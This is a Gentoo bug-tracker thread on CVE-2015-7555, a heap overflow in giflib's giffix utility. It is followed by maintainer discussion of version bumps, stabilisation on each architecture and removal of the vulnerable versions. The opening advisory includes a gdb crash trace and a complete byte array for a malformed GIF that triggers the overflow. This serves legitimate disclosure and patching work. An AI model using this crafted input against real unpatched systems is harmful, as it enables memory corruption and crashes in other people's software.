From ${URL} : giflib[1] is a library for working with GIF images. It also provides several command-line utilities. CVE-2015-7555 ============= A heap overflow may occur in the giffix utility included in giflib-5.1.1 when processing records of the type `IMAGE_DESC_RECORD_TYPE' due to the allocated size of `LineBuffer' equaling the value of the logical screen width, `GifFileIn->SWidth', while subsequently having `GifFileIn->Image.Width' bytes of data written to it. giflib-5.1.1/util/giffix.c #35..194: ,---- | int main(int argc, char **argv) | { | [...] | if ((LineBuffer = (GifRowType) malloc(GifFileIn->SWidth)) == NULL) | GIF_EXIT("Failed to allocate memory required, aborted."); | | /* Scan the content of the GIF file and load the image(s) in: */ | do { | [...] | switch (RecordType) { | case IMAGE_DESC_RECORD_TYPE: | if (DGifGetImageDesc(GifFileIn) == GIF_ERROR) | QuitGifError(GifFileIn, GifFileOut); | [...] | Width = GifFileIn->Image.Width; | Height = GifFileIn->Image.Height; | [...] | /* Find the darkest color in color map to use as a filler. */ | ColorMap = (GifFileIn->Image.ColorMap ? GifFileIn->Image.ColorMap : | GifFileIn->SColorMap); | for (i = 0; i < ColorMap->ColorCount; i++) { | j = ((int) ColorMap->Colors[i].Red) * 30 + | ((int) ColorMap->Colors[i].Green) * 59 + | ((int) ColorMap->Colors[i].Blue) * 11; | if (j < ColorIntens) { | ColorIntens = j; | DarkestColor = i; | } | } | | /* Load the image, and dump it. */ | for (i = 0; i < Height; i++) { | GifQprintf("\b\b\b\b%-4d", i); | if (DGifGetLine(GifFileIn, LineBuffer, Width) | == GIF_ERROR) break; | if (EGifPutLine(GifFileOut, LineBuffer, Width) | == GIF_ERROR) QuitGifError(GifFileIn, GifFileOut); | } | | if (i < Height) { | [...] | /* Fill in with the darkest color in color map. */ | for (j = 0; j < Width; j++) | LineBuffer[j] = DarkestColor; | for (; i < Height; i++) | if (EGifPutLine(GifFileOut, LineBuffer, Width) | == GIF_ERROR) QuitGifError(GifFileIn, GifFileOut); | } | break; | [...] | } | } | while (RecordType != TERMINATE_RECORD_TYPE); | [...] | } `---- ,---- | $ gdb -q --args ./giffix heap.gif | Reading symbols from ./giffix...done. | (gdb) b util/giffix.c:94 | Breakpoint 1 at 0x401131: file giffix.c, line 94. | (gdb) b util/giffix.c:148 | Breakpoint 2 at 0x401449: file giffix.c, line 148. | (gdb) b util/giffix.c:149 | Breakpoint 3 at 0x401452: file giffix.c, line 149. | | (gdb) commands 3 | Type commands for breakpoint(s) 3, one per line. | End with a line saying just "end". | >printf "%p, 0x%02x\n", LineBuffer+j, DarkestColor | >c | >end | | (gdb) r | [...] | Breakpoint 1, main (argc=2, argv=0x7fffffffe6b8) at giffix.c:94 | 94 if ((LineBuffer = (GifRowType) malloc(GifFileIn->SWidth)) == NULL) | | (gdb) p GifFileIn->SWidth | $1 = 1 | | (gdb) c | [...] | Breakpoint 2, main (argc=2, argv=0x7fffffffe6b8) at giffix.c:148 | 148 for (j = 0; j < Width; j++) | | (gdb) p Width | $2 = 255 | | (gdb) c | Continuing. | | Breakpoint 3, main (argc=2, argv=0x7fffffffe6b8) at giffix.c:149 | 149 LineBuffer[j] = DarkestColor; | 0x618920, 0x01 | | [...] | | Breakpoint 3, main (argc=2, argv=0x7fffffffe6b8) at giffix.c:149 | 149 LineBuffer[j] = DarkestColor; | 0x618940, 0x01 | | [...] | | Breakpoint 3, main (argc=2, argv=0x7fffffffe6b8) at giffix.c:149 | 149 LineBuffer[j] = DarkestColor; | 0x618a1e, 0x01 | | Program received signal SIGSEGV, Segmentation fault. | 0x00007ffff7bd8658 in GifFreeMapObject (Object=0x101010101010101) at gifalloc.c:80 | 80 (void)free(Object->Colors); `---- heap.gif: ,---- | unsigned char heap[] = { | /* GIF87a */ | 0x47, 0x49, 0x46, 0x38, 0x37, 0x61, | | /* DGifGetScreenDesc() */ | 0x01, 0x00, /* GifFile->SWidth */ | 0x01, 0x00, /* GifFile->SHeight */ | 0x80, /* ColorCount = 1 << ((this & 0x07) + 1) */ | 0x00, /* GifFile->SBackGroundColor */ | 0x00, /* GifFile->AspectByte */ | 0x11, 0x11, 0x11, /* GifFile->SColorMap->Colors[0] */ | 0x00, 0x00, 0x00, /* GifFile->SColorMap->Colors[1] */ | | /* DGifGetRecordType() */ | 0x2c, /* DESCRIPTOR_INTRODUCER */ | | /* DGifGetImageDesc() */ | 0x00, 0x00, /* GifFile->Image.Left */ | 0x00, 0x00, /* GifFile->Image.Top */ | 0xff, 0x00, /* GifFile->Image.Width */ | 0x01, 0x00, /* GifFile->Image.Height */ | 0x00, /* BitsPerPixel = (this & 0x07) + 1 */ | | /* DGifSetupDecompress() */ | 0x00, /* CodeSize */ | | /* end of image data */ | 0x00, | | /* end of gif */ | 0x3b | }; `---- Solution ======== No fix exists as of yet. @maintainer(s): after the bump, in case we need to stabilize the package, please let us know if it is ready for the stabilization or not.
we'll do the bump when it's out, but we've had giflib-5.x masked forever, so no need for security to track in general
Agreed - Assigning to Graphics Team.
(In reply to Yury German from comment #2) > Agreed - Assigning to Graphics Team. Sorry but I don't understand at all this move. Giflib 4 is affected, why change assignee?
> A heap overflow may occur in the giffix utility included in giflib-5.1.1 media-libs/giflib - giflib-5.x is masked at this time. I do not see where there is relation to Giflib 4 in the information provided, and the maintainers agree to patch the masked version.
i just went w/the info in the report, but it would appear it's incorrect. i checked giflib 4.1.6 and 4.2.3 and the same issue exists there.
commit c3f863848890885a99c4323383b0364ef66300aa Author: Lars Wendler <polynomial-c@gentoo.org> Date: Fri Jan 8 10:53:31 2016 media-libs/giflib: Bump to version 5.1.2 Unleash to ~arch. Package-Manager: portage-2.2.26 Signed-off-by: Lars Wendler <polynomial-c@gentoo.org> From the NEWS file: * Fix SourceForge bug #71: Buffer overwrite when giffixing a malformed gif.
30 Days have passed do we want to go stable 5.1.2?
5.1.2 in tree but in ~arch. No updates to 4.1.X. Maintainers, please advise what you would like to do. This has been around since December, 2015.
Ping - Does 4.1.6-r3 contain this fix?
Maintainers: 1. giflib-5.1.X - Non Stable 2. as per Vapier 4.1X is Vulnerable. Please decide what you would like to do with this package: 1. Make 5.1.X stable and drop 4.1.X 2. Patch 4.1.X This vulnerability has been around since December of 2015, and is a B2 (Major vulnerability).
i'm not sure giflib-5 is ready for stable yet -- see bug 451324 for details even then, we'll prob want to keep around giflib-4 for its older SONAME for binary compat. that SONAME has been around for a long time.
(In reply to SpanKY from comment #11) > i'm not sure giflib-5 is ready for stable yet -- see bug 451324 for details > > even then, we'll prob want to keep around giflib-4 for its older SONAME for > binary compat. that SONAME has been around for a long time. I Guess we need to make a decision if 4.1.X gets a patch? It has been a few months.
Stabilization of =media-libs/giflib-5.1.4 has begun as part of bug 597250. @ Arches, please test and mark stable: =media-libs/giflib-5.1.4 Stable target(s): alpha amd64 arm arm64 hppa ia64 ppc ppc64 sparc x86
First fixed version in tree was 5.1.2, hence this is correct summary line
(In reply to Kristian Fiskerstrand from comment #14) > First fixed version in tree was 5.1.2, hence this is correct summary line Since I manage the security bugs, we always have used the first stable version in the tree with fix the issues. 5.1.2 in this case is not a stable version and actually is not anymore in the tree.
amd64 stable
x86 stable
There is a reason why we do things a certain way. The summary is a reference for GLSA's and a historical piece of what is/is not fixed. If you intend to call for 5.1.4 as stable then do so as usual. This is not a problem. We do it all the time without hassle. What is a problem, is changing the bug summary simply because you do not understand or agree with the workflow we have. I will not go into all possible scenarios, but there are environments where individuals do not sync their tree as often as you or I may so they may have 5.1.2 still. For those up to date 5.1.2 is gone, but 5.1.3 is still in the tree you are now indicating that 5.1.3 is vulnerable as well. It is *not* vulnerable though. If you don't like the workflow or have a better one then propose it, please. Also, it is understand that 'tatt' and the like will pull the package atom from the comments. Is this not true?
5.1.4 already stable on alpha due to bug 597250
arm stable
Stable for HPPA.
commit a2c9820119ac33ce2db25281ebf548da83164fd0 Author: Agostino Sarubbo <ago@gentoo.org> Date: Tue Jan 3 11:29:30 2017 +0100 media-libs/giflib: ppc64 stable wrt bug #597250 Package-Manager: portage-2.3.0 RepoMan-Options: --include-arches="ppc64" Signed-off-by: Agostino Sarubbo <ago@gentoo.org> commit 318b9a5fca4adecc2eaf397f3e3bda23defb0985 Author: Agostino Sarubbo <ago@gentoo.org> Date: Sun Jan 1 13:31:07 2017 +0100 media-libs/giflib: ppc stable wrt bug #597250 Package-Manager: portage-2.3.0 RepoMan-Options: --include-arches="ppc" Signed-off-by: Agostino Sarubbo <ago@gentoo.org>
sparc stable
ia64 stable. Maintainer(s), please cleanup. Security, please add it to the existing request, or file a new one.
Arches, Thank you for your work. New GLSA Request filed. Maintainer(s), please drop the vulnerable version(s).
Maintainer(s), please drop the vulnerable version(s).
Dropping "cleanup" from whiteboard to reflect that we are still waiting for a patched 4.2.x ebuild. GLSA Vote: No! It only affects the giffix utility... @ Maintainer(s): Please cleanup and drop =media-libs/giflib-5.1.3 Also, please backport the fix (https://sourceforge.net/p/giflib/code/ci/179510be300bf11115e37528d79619b53c884a63) to 4.2.3-r1 which is also affected.
> Also, please backport the fix > (https://sourceforge.net/p/giflib/code/ci/ > 179510be300bf11115e37528d79619b53c884a63) to 4.2.3-r1 which is also affected. adding to above: Or please feel free to drop it if you want to go that route since it is not slotted.
Both vulnerable versions dropped. Tree is clean. https://gitweb.gentoo.org/repo/gentoo.git/commit/?id=1f92ad9194c108dd79f6b4eeb37cb4c3abbb0d3d
